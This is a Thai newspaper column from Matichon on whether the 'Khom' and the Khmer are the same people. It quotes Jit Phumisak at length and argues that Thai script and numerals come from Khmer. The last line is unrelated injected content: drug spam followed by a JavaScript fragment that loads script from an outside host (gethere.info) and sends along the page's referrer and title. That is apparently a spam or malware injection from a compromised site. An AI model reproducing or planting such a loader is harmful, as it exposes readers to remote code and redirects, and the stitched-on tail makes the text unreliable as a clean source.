หนังสือพิมพ์มติชนฉบับวันอังคารที่ 17 พฤศจิกายน 2552
ย้อนหลังกลับไปราว 50 ปีมานี้ มีนักค้นคว้าไทย(แท้)ผู้รักชาติกลุ่มหนึ่งพยายามอธิบายอย่างอคติว่า “ขอม”เป็นอีกชนชาติหนึ่งที่ไม่ใช่“เขมร” ฉะนั้นบรรดาปราสาทหินในดินแดนประเทศไทยเป็นฝีมือขอม จึงไม่ใช่ฝีมือเขมร

ต่อมา จิตร ภูมิศักดิ์ ค้นคว้าหาหลักฐานยืนยันว่าขอมกับเขมรเป็นคนเดียวกัน แล้วเรียบเรียงข้อเท็จจริงว่าด้วยชนชาติขอม (สำนักพิมพ์มติชน พิมพ์เมื่อ พ.ศ. 2547) เพื่อตอบโต้จะขอคัดสาระสำคัญมาให้อ่านดังนี้

ข้าพเจ้าขอยืนยันว่า : กล๋อม-ขอมเปนชื่อที่ใช้โดยคนหลายถิ่นหลายภาษา เพื่อเรียกชนชาติหลายถิ่นหลายภาษาด้วยกัน, หาใช่ชื่อเรียกชนชาติใดหนึ่งเพียงชนชาติเดียวโดยยึดสายเลือดหรือเชื้อชาติเปนเกณฑ์ไม่.

ข้าพเจ้าขอยืนยันว่า : กล๋อม-ขอม มิใช่ชนชาติที่ใครจะคิดผสมสายเลือดขึ้นเปนชนชาติใหม่ได้เหมือนการผสมน้ำยาเคมีในห้องทดลองวิทยาศาสตร์; จะนำเอาความหมายของกล๋อม-ขอมในภาษาต่างๆ มาบวกกันเข้าแล้วหารเฉลี่ยเปนชนชาติลูกผสมขึ้นหาได้ไม่. เช่นเดียวกับคำ ข่า เปนคำเรียกชนชาติในตระกูลมอญ-เขมรด้วย ตระกูลชวา-มลายูด้วย และตระกูลพะม่า-ทิเบตด้วย, จะเอาเชื้อชาติทั้งสามรวมเข้าด้วยกันแล้วเอาสามหาร เฉลี่ยเปนชนชาติ ข่า ขึ้นหาได้ไม่.

ข้าพเจ้าขอยืนยันว่า : กล๋อม-ขอม ในภาษาอื่นๆ และถิ่นอื่นๆ หมายถึงชนชาติหลายชาติตามความแตกต่างของภาษา; แต่เฉพาะในภาษาไทยพายัพ, ไทยภาคอีสาน, ไทยภาคกลาง และไทยภาคใต้ ในประเทศไทยแล้ว ขอม หมายถึง ชนชาติเขมรอย่างแน่ชัดมาแต่โบราณ, ปรากฏหลักฐานในเอกสารทางราชการสมัยสุโขทัย, อยุธยา และรัตนโกสินทร์, มิใช่ในนิยายนิทานปรัมปราเรื่องขอมดำดิน.

แม้ในนิยายโบราณของไทยที่ใช้คำว่า  ขอม เรียกชาวเขมรในประเทศกัมพูชานั้น ก็เปนคำที่ใช้อย่างถูกต้องตามความหมายที่แท้จริงของความรับรู้ของคนไทยอยู่นั่นเอง, หาใช่คำที่เหลวไหลเข้าใจผิดไม่”

เมื่อพิสูจน์แล้วว่า“ขอม” กับ“เขมร”เป็นคนเดียวกัน จิตร ภูมิศักด์ ยืนยันอีกว่าภาษาขอม , อักษรขอม ก็คือภาษาเขมร, อักษรเขมร ดังนี้

“ข้าพเจ้าไม่เห็นด้วยกับทฤษฎีที่ว่ามีภาษาขอมของชนชาติขอม และอักษรขอมของชนชาติขอม ซึ่งเปนชนอีกชาติหนึ่งที่มิใช่เขมร.

ภาษาที่เรียกว่า ‘ภาษาขอม’ นั้น แท้จริงก็คือภาษาเขมรของชาติที่พูดภาษาเขมร.  และก็เปนภาษาเดียวกับภาษาเขมรในประเทศกัมพูชา, เปนภาษาเดียวกับภาษาเขมรในจังหวัดศีรสะเกษ, สุรินทร์ และบุรีรัมย์ รวมทั้งบางส่วนในจังหวัดปราจีนบุรีทุกวันนี้.

ภาษานี้มีพัฒนาการสืบสาวได้เปนสายสัมพันธ์มาแต่ยุคสมัย มีการเปลี่ยนแปลงมาอย่างมีระเบียบกฎเกณฑ์.

อนึ่งต้องเข้าใจด้วยว่าการเปลี่ยนแปลงต่างๆที่ได้แสดงมาข้างต้นนั้น เปนการแสดงให้เห็นถึงส่วนที่เปลี่ยนแปลงซึ่งเกิดขึ้นแก่คำจำนวนหนึ่งในภาษาเท่านั้น; มีคำอีกเปนจำนวนมากมายกว่าครึ่ง ที่มิได้เปลี่ยนแปลงเลย หากใช้คงรูปเดิมมาตั้งแต่สมัยพนมหรือฝูหนาน มาจนถึงสมัยพนมเปญปัจจุบัน.

ส่วนอักษรขอมนั้น  ก็คืออักษรเขมรที่ไทยรับมาใช้อยู่ในบริเวณลุ่มแม่น้ำเจ้าพระยาตลอดถึงสุโขทัยตั้งแต่ครั้งโบราณ และได้ใช้อยู่ในกิจการทางศาสนาพุทธตลอดมา จนมีพัฒนาการของตนเองขึ้นเปนพิเศษต่างหากจากพัฒนาการของอักษรเขมรในดินแดนกัมพูชา, และแม้ถึงกับได้นำมาเขียนคำภาษาไทย ด้วยอักขรวิธีอย่างไทย ดังที่เรียกว่าอักษรขอมไทยขึ้น.”

ด้วยเหตุนี้แหละ ผมถึงขอความกรุณาให้ยอมรับความจริงว่า อักษรไทยกับเลขไทยมีรากเหง้าจากอักษรเขมรกับเลขเขมร ที่มีมาก่อนนานมากอยู่ในจารึกเขมร

ชาวเขมรโบราณถือหอยสังข์ ลายเส้นโดยจิตรกรจีน (พิมพ์ในหนังสือ Che Kong Tu (ไม่ทราบปี) ปัจจุบันอยู่ในหอสมุดแห่งชาติฝรั่งเศส กรุงปารีส)

cost of fluoxetine buy cheap sildaliss.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;